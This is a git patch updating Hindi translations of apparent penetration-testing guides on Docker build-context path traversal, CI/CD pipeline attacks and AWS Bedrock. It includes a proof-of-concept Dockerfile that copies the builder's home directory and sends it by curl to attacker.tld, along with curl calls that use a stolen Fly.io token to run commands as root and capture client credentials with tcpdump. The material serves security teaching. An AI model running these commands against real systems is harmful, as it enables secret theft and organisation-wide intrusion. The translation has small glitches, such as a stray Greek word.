From cce8cbe53bd1b824bd6fb07f4aadd3cfcbad80bb Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 22:36:51 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p --- .../docker-build-context-abuse.md | 42 ++++----- .../pentesting-ci-cd-methodology.md | 86 +++++++++---------- .../aws-services/aws-bedrock-enum.md | 2 +- 3 files changed, 65 insertions(+), 65 deletions(-) diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md index c775fb765..ddd9686b6 100644 --- a/src/pentesting-ci-cd/docker-build-context-abuse.md +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -4,20 +4,20 @@ ## TL;DR -यदि कोई CI/CD प्लेटफ़ॉर्म या hosted builder contributors को Docker build context path और Dockerfile path निर्दिष्ट करने देता है, तो अक्सर आप context को parent directory (जैसे "..") पर सेट कर सकते हैं और host फ़ाइलों को build context का हिस्सा बना सकते हैं। फिर, attacker-controlled Dockerfile COPY कर सकता है और builder user के home में पाए जाने वाले secrets को exfiltrate कर सकता है (उदाहरण के लिए, ~/.docker/config.json)। चोरी किए गए registry tokens provider के control-plane APIs के खिलाफ भी काम कर सकते हैं, जिससे org-wide RCE सक्षम हो सकता है। +यदि कोई CI/CD प्लेटफ़ॉर्म या hosted builder योगदानकर्ताओं को Docker build context path और Dockerfile path निर्धारित करने की अनुमति देता है, तो आप अक्सर context को parent directory (उदा., "..") पर सेट कर सकते हैं और host फाइलों को build context का हिस्सा बना सकते हैं। फिर, एक attacker-controlled Dockerfile COPY कर सकता है और builder user के home में पाए गए secrets को exfiltrate कर सकता है (उदाहरण के लिए, ~/.docker/config.json)। चोरी किए गए registry tokens provider के control-plane APIs के खिलाफ भी काम कर सकते हैं, जिससे org-wide RCE सक्षम हो सकती है। -## Attack surface +## हमले की सतह -Many hosted builder/registry services do roughly this when building user-submitted images: +कई hosted builder/registry सेवाएँ user-submitted images बनाते समय मोटे तौर पर यह करती हैं: - Read a repo-level config that includes: - build context path (sent to the Docker daemon) - Dockerfile path relative to that context - Copy the indicated build context directory and the Dockerfile to the Docker daemon - Build the image and run it as a hosted service -यदि प्लेटफ़ॉर्म build context को canonicalize और restrict नहीं करता है, तो उपयोगकर्ता इसे repository के बाहर किसी स्थान पर सेट कर सकता है (path traversal), जिससे build user द्वारा पढ़ी जा सकने वाली arbitrary host फ़ाइलें build context का हिस्सा बन जाएँगी और Dockerfile में COPY के लिए उपलब्ध हो जाएँगी। +यदि प्लेटफ़ॉर्म build context को canonicalize और प्रतिबंधित नहीं करता है, तो एक user इसे repository के बाहर किसी लोकेशन पर सेट कर सकता है (path traversal), जिससे build user द्वारा पढ़ी जा सकने वाली arbitrary host फाइलें build context का हिस्सा बन जाती हैं और Dockerfile में COPY के लिए उपलब्ध हो जाती हैं। -आम तौर पर देखे जाने वाले व्यावहारिक प्रतिबंध: +प्रायोगिक सीमाएं जो आमतौर पर देखी जाती हैं: - The Dockerfile must reside within the chosen context path and its path must be known ahead of time. - The build user must have read access to files included in the context; special device files can break the copy. @@ -41,10 +41,10 @@ exampleConfig: apiKey: "sk-example123" ``` नोट्स: -- ".." का उपयोग अक्सर builder उपयोगकर्ता के होम (उदा., /home/builder) तक पहुँचता है, जिसमें आमतौर पर संवेदनशील फाइलें होती हैं। -- अपनी Dockerfile को repo के डायरेक्टरी नाम के अंतर्गत रखें (उदा., repo "test" → test/Dockerfile) ताकि यह विस्तारित parent context के भीतर रहे। +- ".." का उपयोग अक्सर builder उपयोगकर्ता के होम (उदा., /home/builder) की ओर जाता है, जिसमें आमतौर पर संवेदनशील फाइलें होती हैं। +- अपने Dockerfile को repo के directory नाम के अंदर रखें (उदा., repo "test" → test/Dockerfile) ताकि यह विस्तारित parent context के भीतर बना रहे। -## PoC: host context को ingest और exfiltrate करने के लिए Dockerfile +## PoC: Dockerfile to ingest and exfiltrate the host context ```dockerfile FROM alpine RUN apk add --no-cache curl @@ -52,34 +52,34 @@ RUN mkdir /data COPY . /data # Copies entire build context (now builder’s $HOME) RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) ``` -आम तौर पर $HOME से प्राप्त लक्ष्य: +आमतौर पर $HOME से पुनर्प्राप्त किए जाने वाले लक्ष्य: - ~/.docker/config.json (registry auths/tokens) -- अन्य cloud/CLI caches और configs (उदा., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) +- अन्य cloud/CLI कैश और कॉन्फ़िग (जैसे, ~/.fly, ~/.kube, ~/.aws, ~/.config/*) -टिप: भले ही repository में .dockerignore मौजूद हो, कमजोर platform-side context selection तय करता है कि क्या चीज़ें daemon को भेजी जाएँगी। अगर platform चुनी हुई path को आपके repo’s .dockerignore का मूल्यांकन करने से पहले daemon पर कॉपी कर देता है, तो host फ़ाइलें फिर भी उजागर हो सकती हैं। +टिप: रिपॉज़िटरी में .dockerignore मौजूद होने के बावजूद, कमजोर platform-side context selection यह नियंत्रित करता है कि क्या daemon को भेजा जाएगा। यदि प्लेटफ़ॉर्म चुने गए path को आपके repo’s .dockerignore का मूल्यांकन करने से पहले daemon पर कॉपी कर देता है, तो होस्ट फाइलें अभी भी उजागर हो सकती हैं। -## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) +## अधिक-विशेषाधिकार वाले टोकन के साथ क्लाउड पिवट (उदाहरण: Fly.io Machines API) -Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API. +कुछ प्लेटफ़ॉर्म एक ही bearer token जारी करते हैं जो container registry और control-plane API दोनों के लिए उपयोगी होता है। यदि आप किसी registry token को exfiltrate कर लेते हैं, तो उसे provider API पर आज़माएँ। -Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json: +उदाहरण API कॉल्स Fly.io Machines API के खिलाफ, ~/.docker/config.json से चोरी किए गए token का उपयोग करके: -एक org में apps को सूचीबद्ध करें: +Enumerate apps in an org: ```bash curl -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps?org_slug=smithery" ``` -किसी भी ऐप की किसी भी मशीन के अंदर root के रूप में कोई कमांड चलाएँ: +किसी भी app की किसी भी मशीन के अंदर root के रूप में कमांड चलाएँ: ```bash curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` -परिणाम: org-wide remote code execution उन सभी hosted apps में जहाँ token के पास पर्याप्त अधिकार हों। +परिणाम: उस token के पास पर्याप्त privileges होने पर सभी hosted apps में org-wide remote code execution। -## Compromised hosted services से Secret चोरी +## समझौता किए गए hosted services से Secrets की चोरी -hosted servers पर exec/RCE होने पर, आप client-supplied secrets (API keys, tokens) को एकत्र कर सकते हैं या prompt-injection attacks अंजाम दे सकते हैं। उदाहरण: tcpdump इंस्टॉल करके port 8080 पर HTTP ट्रैफ़िक कैप्चर करें ताकि inbound credentials निकाले जा सकें। +hosted servers पर exec/RCE होने पर, आप client-supplied secrets (API keys, tokens) प्राप्त कर सकते हैं या prompt-injection attacks अंजाम दे सकते हैं। उदाहरण: tcpdump इंस्टॉल करके port 8080 पर HTTP ट्रैफ़िक capture करें ताकि inbound credentials निकाले जा सकें। ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ @@ -91,9 +91,9 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' ``` -Captured requests अक्सर headers, bodies, या query params में client credentials होते हैं। +Captured requests में अक्सर client credentials headers, bodies, या query params में पाए जाते हैं। -## संदर्भ +## References - [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) - [Fly.io Machines API](https://fly.io/docs/machines/api/) diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index e78a4ec9d..123fe15d2 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD पद्धति +# Pentesting CI/CD कार्यप्रणाली {{#include ../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## VCS -VCS का मतलब **Version Control System** है, यह सिस्टम डेवलपर्स को उनके **source code** को प्रबंधित करने की अनुमति देता है। सबसे सामान्य है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **platforms** में से किसी एक का उपयोग करते हुए पाएँगे: +VCS का अर्थ है **Version Control System**, यह सिस्टम developers को **उनके source code को manage करने** की अनुमति देता है। सबसे सामान्य एक है **git** और अक्सर आप कंपनियों को निम्नलिखित **platforms** में से किसी एक पर इसका उपयोग करते हुए पाएंगे: - Github - Gitlab @@ -18,39 +18,39 @@ VCS का मतलब **Version Control System** है, यह सिस् ## CI/CD Pipelines -CI/CD pipelines डेवलपर्स को विभिन्न कार्यों के लिए कोड के निष्पादन को **automate** करने में सक्षम बनाती हैं, जिनमें application का build, test और deploy शामिल है। ये automated workflows विशिष्ट क्रियाओं (जैसे code pushes, pull requests, या scheduled tasks) द्वारा **trigger** होते हैं। ये development से production तक के प्रोसेस को streamline करने में उपयोगी हैं। +CI/CD pipelines developers को कोड के execution को **automate** करने में मदद करते हैं — build, test और deploy applications जैसे कार्यों के लिए। ये automated workflows συγκεκριμένες actions द्वारा **trigger** होते हैं, जैसे code pushes, pull requests, या scheduled tasks. ये development से production तक के process को streamline करने में उपयोगी हैं। -हालाँकि, इन सिस्टम्स को कहीं **execute** करना होता है और सामान्यतः इन्हें **privileged credentials to deploy code or access sensitive information** की आवश्यकता होती है। +हालाँकि, इन systems को कहीं **execute** करना पड़ता है और अक्सर उन्हें **privileged credentials to deploy code or access sensitive information** की आवश्यकता होती है। ## VCS Pentesting Methodology > [!NOTE] -> भले ही कुछ VCS platforms pipelines बनाने की अनुमति देते हों, इस सेक्शन के लिए हम केवल सोर्स कोड के नियंत्रण पर संभावित हमलों का विश्लेषण करने जा रहे हैं। +> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -जो platforms आपके प्रोजेक्ट का source code रखते हैं उनमें संवेदनशील जानकारी होती है और लोगों को इस प्लेटफॉर्म के भीतर दिए गए permissions के साथ बहुत सतर्क रहना चाहिए। VCS platforms में कुछ सामान्य समस्याएँ जो attacker दुरुपयोग कर सकता है: +जो platforms आपके project का source code रखती हैं उनमें संवेदनशील जानकारी होती है और लोगों को इस platform के अंदर दिए गए permissions के साथ बहुत सावधान रहना चाहिए। VCS platforms में attacker द्वारा abusing के लिए कुछ आम समस्याएँ हैं: -- **Leaks**: यदि आपका code commits में leaks रखता है और attacker repo तक पहुँच सकता है (क्योंकि वह public है या उसके पास access है), तो वह उन leaks का पता लगा सकता है। -- **Access**: यदि कोई attacker VCS platform के अंदर किसी account तक access कर लेता है तो वह और अधिक visibility और permissions प्राप्त कर सकता है। -- **Register**: कुछ platforms बाहरी users को सिर्फ account बनाने की अनुमति देते हैं। -- **SSO**: कुछ platforms users को register करने की अनुमति नहीं देते, लेकिन किसी valid SSO के साथ किसी को भी access करने की अनुमति दे सकते हैं (तो attacker उदाहरण के लिए अपने github account का उपयोग करके प्रवेश कर सकता है)। -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... कई प्रकार के tokens होते हैं जिन्हें कोई user चुरा कर किसी repo तक किसी न किसी तरह से access प्राप्त कर सकता है। -- **Webhooks**: VCS platforms webhooks जनरेट करने की अनुमति देते हैं। अगर वे non visible secrets से **protect** नहीं किए गए हैं तो एक **attacker उन्हें abuse कर सकता है**। -- यदि कोई secret मौजूद नहीं है, attacker तीसरी पार्टी platform के webhook का दुरुपयोग कर सकता है -- यदि secret URL में है, तो भी वही बात होती है और attacker के पास secret भी होगा -- **Code compromise:** यदि कोई malicious actor के पास repos पर किसी प्रकार का **write** access है, तो वह malicious code inject करने की कोशिश कर सकता है। सफल होने के लिए उसे शायद **branch protections** बायपास करनी होंगी। ये क्रियाएँ विभिन्न उद्देश्यों के साथ की जा सकती हैं: - - main branch को compromise करके **production** पर प्रभाव डालना। - - main (या अन्य branches) को compromise करके developers machines को compromise करना (क्योंकि वे आमतौर पर repo के अंदर test, terraform या अन्य चीजें अपने machines पर execute करते हैं)। +- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. +- **Access**: अगर कोई attacker VCS platform के अंदर किसी account तक **access** प्राप्त कर लेता है तो वह **ज़्यादा visibility और permissions** हासिल कर सकता है। +- **Register**: कुछ platforms बाहरी users को सिर्फ account बनाने की अनुमति देती हैं। +- **SSO**: कुछ platforms users को register करने की अनुमति नहीं देतीं, पर valid SSO से किसी को भी access मिल सकता है (उदाहरण के लिए attacker अपने github account से प्रवेश कर सकता है)। +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... कई तरह के tokens होते हैं जिन्हें कोई user किसी भी तरह से repo तक access पाने के लिए चुरा सकता है। +- **Webhooks**: VCS platforms webhooks generate करने की अनुमति देती हैं। अगर वे **नॉन-प्रोटेक्टेड** हैं और किसी non visible secret से सुरक्षित नहीं हैं तो **attacker उनका दुरुपयोग कर सकता है**। +- अगर कोई secret मौजूद नहीं है, attacker तीसरे पक्ष के platform के webhook का दुरुपयोग कर सकता है +- अगर secret URL में मौजूद है, वही स्थिति लागू होती है और attacker के पास secret भी हो जाएगा +- **Code compromise:** अगर malicious actor के पास repos पर किसी तरह का **write** access है, तो वह **malicious code inject** करने की कोशिश कर सकता है। सफल होने के लिए उसे शायद **branch protections bypass** करने की आवश्यकता होगी। ये क्रियाएँ विभिन्न उद्देश्यों के साथ की जा सकती हैं: +- main branch को compromise करके **production compromise** करना। +- main (या अन्य branches) को compromise करके **developers machines compromise** करना (क्योंकि वे अक्सर repo के अंदर test, terraform या अन्य चीजें अपने machines पर execute करते हैं)। - **Compromise the pipeline** (अगला सेक्शन देखें) ## Pipelines Pentesting Methodology -pipeline को परिभाषित करने का सबसे सामान्य तरीका है **CI configuration file hosted in the repository** जिसे pipeline build करता है। यह फाइल executed jobs के क्रम, flow को प्रभावित करने वाली conditions, और build environment settings का वर्णन करती है.\ -ये फाइलें सामान्यतः एक सुसंगत नाम और फ़ॉर्मैट रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और GitHub Actions YAML फाइलें जो .github/workflows के अंतर्गत होती हैं। जब trigger होता है, pipeline job चुने गए source (उदा. commit / branch) से **code को pull** करता है, और CI configuration file में specified commands को उस code के खिलाफ **run** करता है। +एक pipeline define करने का सबसे सामान्य तरीका है **CI configuration file hosted in the repository** जिसे pipeline build करता है। यह file executed jobs के order, flow को प्रभावित करने वाली conditions, और build environment settings का वर्णन करती है.\ +ये files आम तौर पर एक सुसंगत नाम और format रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और GitHub Actions YAML files जो .github/workflows के अंतर्गत होते हैं। जब trigger होता है, pipeline job **selected source (उदाहरण: commit / branch)** से **code को pull** करता है, और CI configuration file में specified commands को उस code पर **run** करता है। -अतः attacker का अंतिम लक्ष्य किसी तरह से उन configuration files या वे commands जिन्हें वे execute करते हैं, को **compromise** करना होता है। +इसलिए attacker का अंतिम लक्ष्य किसी भी तरह से उन configuration files या जिन commands को वे execute करते हैं उन्हें somehow **compromise** करना होता है। > [!TIP] -> कुछ hosted builders contributors को Docker build context और Dockerfile path चुनने देते हैं। यदि context attacker-controlled है, तो आप इसे repo के बाहर (उदा., "..") सेट कर सकते हैं ताकि build के दौरान host files ingest हों और secrets exfiltrate की जा सकें। देखें: +> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: > >{{#ref}} >docker-build-context-abuse.md @@ -58,48 +58,48 @@ pipeline को परिभाषित करने का सबसे सा ### PPE - Poisoned Pipeline Execution -Poisoned Pipeline Execution (PPE) पाथ SCM repository में permissions का उपयोग करते हुए CI pipeline को manipulate कर के हानिकारक commands execute कराता है। आवश्यक permissions वाले users CI configuration files या pipeline job द्वारा उपयोग की जाने वाली अन्य फाइलों को संशोधित कर सकते हैं ताकि malicious commands शामिल हो जाएँ। यह CI pipeline को "poison" कर देता है, जिससे ये malicious commands execute होते हैं। +Poisoned Pipeline Execution (PPE) path SCM repository में permissions का exploitation करता है ताकि CI pipeline को manipulate करके हानिकारक commands execute करवाई जा सकें। जिन users के पास आवश्यक permissions होते हैं वे CI configuration files या pipeline job द्वारा उपयोग की जाने वाली अन्य files को modify करके malicious commands शामिल कर सकते हैं। यह CI pipeline को "poison" कर देता है, जिससे ये malicious commands execute हो जाते हैं। -एक malicious actor को PPE attack में सफल होने के लिए ये चीज़ें चाहिए होती हैं: +किसी malicious actor को PPE attack सफलतापूर्वक करने के लिए निम्न होना चाहिए: -- VCS platform पर **write access** होना चाहिए, क्योंकि सामान्यतः pipelines तब trigger होते हैं जब push या pull request किया जाता है। (Access पाने के तरीकों के सारांश के लिए VCS pentesting methodology देखें). +- VCS platform पर **write access** होना, क्योंकि आम तौर पर pipelines तब trigger होती हैं जब push या pull request होता है। (VCS pentesting methodology सेक्शन में access पाने के तरीकों का सार देखें). - ध्यान दें कि कभी-कभी एक **external PR भी "write access"** माना जाता है। -- भले ही उसके पास write permissions हों, उसे यह सुनिश्चित करना होगा कि वह **CI config file या उन फाइलों को modify कर सके जिन पर config निर्भर करता है**। -- इसके लिए उसे संभवतः **branch protections** बायपास करने की आवश्यकता पड़ेगी। +- भले ही उसके पास write permissions हों, उसे सुनिश्चित करना होगा कि वह **CI config file या वे अन्य files जिन्हें config rely करता है** को modify कर सके। +- इसके लिए वह शायद **branch protections bypass** करना सक्षम होना चाहिए। -PPE के 3 flavour हैं: +PPE के 3 flavours हैं: -- **D-PPE**: A **Direct PPE** attack तब होता है जब actor उस CI config को सीधे **modify** करता है जिसे execute किया जाना है। -- **I-DDE**: An **Indirect PPE** attack तब होता है जब actor उस **file** को **modify** करता है जिस पर CI config जो execute होने वाली है **rely** करती है (जैसे make file या terraform config)। -- **Public PPE or 3PE**: कुछ मामलों में pipelines उन users द्वारा **trigger** किए जा सकते हैं जिनके पास repo में write access नहीं है (और जो org का हिस्सा भी नहीं हो सकते), क्योंकि वे PR भेज सकते हैं। -- **3PE Command Injection**: आमतौर पर, CI/CD pipelines **PR के बारे में जानकारी** वाले environment variables सेट करते हैं। यदि उस value को एक attacker द्वारा नियंत्रित किया जा सकता है (जैसे PR का title) और वह value किसी **dangerous जगह** (जैसे sh commands execute करना) में **use** होती है, तो attacker वहां **commands inject** कर सकता है। +- **D-PPE**: एक **Direct PPE** attack तब होता है जब actor वह CI config file modify करता है जो execute होने वाली है। +- **I-DDE**: एक **Indirect PPE** attack तब होता है जब actor उस **file** को modify करता है जिस पर CI config file जो execute होने वाली है **rely** करती है (जैसे make file या terraform config)। +- **Public PPE or 3PE**: कुछ मामलों में pipelines उन users द्वारा trigger की जा सकती हैं जिनके पास repo में write access नहीं होता (और जो org का हिस्सा भी नहीं हो सकते) क्योंकि वे PR भेज सकते हैं। +- **3PE Command Injection**: आम तौर पर, CI/CD pipelines **environment variables set** करती हैं जिनमें **PR के बारे में information** होती है। अगर वह value attacker द्वारा control की जा सकती है (जैसे PR का title) और उसे किसी **dangerous place** में **use** किया जाता है (जैसे **sh commands** execute करना), तो attacker वहाँ **commands inject** कर सकता है। ### Exploitation Benefits -PPE के 3 flavours जानने के बाद, आइए देखें कि successful exploitation के बाद attacker क्या प्राप्त कर सकता है: +PPE के 3 flavours जानने के बाद, आइए देखें कि successful exploitation के बाद attacker क्या हासिल कर सकता है: -- **Secrets**: जैसा कि पहले बताया गया था, pipelines अपने jobs के लिए **privileges** की आवश्यकता रखते हैं (code retrieve करना, build करना, deploy करना...) और ये privileges आमतौर पर **secrets** में दिए जाते हैं। ये secrets आमतौर पर **env variables या system के अंदर files** के माध्यम से पहुँच योग्य होते हैं। इसलिए एक attacker हमेशा अधिक से अधिक secrets exfiltrate करने की कोशिश करेगा। -- pipeline platform पर निर्भर करते हुए attacker **शायद config में secrets specify करने की आवश्यकता** हो सकती है। इसका मतलब है कि यदि attacker CI configuration pipeline को modify नहीं कर सकता (उदा. **I-PPE**), तो वह केवल उन secrets को ही exfiltrate कर सकेगा जो उस pipeline के पास हैं। -- **Computation**: कोड कहीं execute होता है; जहाँ execute होता है वहां attacker आगे pivot कर सकता है। -- **On-Premises**: यदि pipelines on-premises execute होते हैं, तो attacker एक internal network में पहुँच सकता है जहाँ और भी resources उपलब्ध हों। -- **Cloud**: attacker cloud में अन्य machines तक पहुँच सकता है और साथ ही वहाँ से IAM roles/service accounts के tokens exfiltrate कर आगे के cloud access प्राप्त कर सकता है। -- **Platforms machine**: कभी-कभी jobs pipeline platform machines के अंदर execute होते हैं, जो आमतौर पर cloud में होते हैं और जिनके पास और access नहीं होता। -- **Select it:** कभी-कभी pipeline platform ने कई machines configure की होती हैं और यदि आप CI configuration file modify कर सकते हैं तो आप यह **indicate** कर सकते हैं कि आप malicious code कहाँ चलाना चाहते हैं। इस स्थिति में attacker सम्भवत: प्रत्येक संभव machine पर reverse shell चलाएगा ताकि आगे exploit करने की कोशिश कर सके। -- **Compromise production**: यदि आप pipeline के अंदर हैं और final version वहीं से build और deploy होती है, तो आप production में चलने वाले code को compromise कर सकते हैं। +- **Secrets**: जैसा पहले बताया गया था, pipelines अपने jobs के लिए **privileges** चाहती हैं (code retrieve करना, build करना, deploy करना...) और ये privileges आम तौर पर **secrets** में दिए जाते हैं। ये secrets आम तौर पर **env variables या system के अंदर files** के माध्यम से उपलब्ध होते हैं। इसलिए attacker हमेशा जितने अधिक secrets exfiltrate कर सकेगा उतना करेगा। +- pipeline platform पर निर्भर करते हुए attacker को **config में secrets specify** करने पड़ सकते हैं। इसका अर्थ है कि अगर attacker CI configuration pipeline को modify नहीं कर सकता (**I-PPE** उदाहरण के लिए), तो वह केवल उन secrets को ही exfiltrate कर सकता है जो उस pipeline के पास हैं। +- **Computation**: कोड कहीं execute होता है, उस execution स्थान पर attacker आगे pivot कर सकता है। +- **On-Premises**: अगर pipelines on premises execute होती हैं, तो attacker internal network में पहुँच सकता है और और resources तक access हासिल कर सकता है। +- **Cloud**: attacker अन्य machines in the cloud तक पहुँच सकता है और साथ ही IAM roles/service accounts **tokens** exfiltrate करके cloud के अंदर और access प्राप्त कर सकता है। +- **Platforms machine**: कभी-कभी jobs **pipelines platform machines** के अंदर execute होती हैं, जो आम तौर पर cloud में होती हैं और जिनके पास अक्सर और अधिक access नहीं होता। +- **Select it:** कभी-कभी **pipelines platform कई machines configure** कर सकता है और अगर आप **CI configuration file modify** कर सकते हैं तो आप **indicate कर सकते हैं कि आप malicious code कहाँ चलाना चाहते हैं**। ऐसी स्थिति में attacker संभवतः हर possible machine पर reverse shell चलाकर उसे और exploit करने की कोशिश करेगा। +- **Compromise production**: अगर आप pipeline के अंदर हैं और final version वहीं से build और deploy होती है, तो आप production में चलने वाले code को compromise कर सकते हैं। ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक open-source tool है जो आपके software supply chain stack का security compliance के लिए audit करता है, जो एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। auditing पूरे SDLC process पर ध्यान केंद्रित करता है, जहाँ यह code से deploy तक के जोखिमों को उजागर कर सकता है। +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक open-source tool है जो आपके software supply chain stack का security compliance के लिए auditing करता है based on एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). auditing पूरा SDLC process पर केंद्रित है, जहाँ यह code time से deploy time तक के risks को उजागर कर सकता है। ### Top 10 CI/CD Security Risk -Cider के अनुसार top 10 CI/CD risks पर यह रोचक article देखें: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Cider के अनुसार top 10 CI/CD risks पर यह interesting article देखें: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- प्रत्येक platform के लिए जिसे आप locally चला सकते हैं, वहां आपको इसे locally launch करने का तरीका मिलेगा ताकि आप इसे परीक्षण के लिए अपनी इच्छानुसार configure कर सकें +- हर platform के लिए जिसे आप locally चला सकते हैं, वहां आप पाएंगे कि इसे स्थानीय रूप से कैसे लॉन्च करना है ताकि आप इसे अपनी इच्छानुसार configure करके परीक्षण कर सकें - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md index 9a807c4ec..39b26321b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md @@ -4,7 +4,7 @@ ## अवलोकन -Amazon Bedrock एक पूर्ण रूप से प्रबंधित सेवा है जो प्रमुख AI startups और Amazon से foundation models (FMs) का उपयोग करके generative AI applications को बनाना और scale करना आसान बनाती है। Bedrock एक single API के माध्यम से विभिन्न FMs तक पहुँच प्रदान करता है, जिससे डेवलपर्स अपने specific use cases के लिए सबसे उपयुक्त मॉडल चुन सकते हैं बिना underlying infrastructure का प्रबंधन किए। +Amazon Bedrock एक पूर्णतः प्रबंधित सेवा है जो leading AI startups और Amazon के foundation models (FMs) का उपयोग करके generative AI ऐप्लिकेशन बनाना और स्केल करना आसान बनाती है। Bedrock एक single API के माध्यम से विभिन्न FMs तक पहुँच प्रदान करती है, जिससे developers बिना underlying infrastructure का प्रबंधन किए अपने specific use cases के लिए सबसे उपयुक्त मॉडल चुन सकते हैं। ## Post Exploitation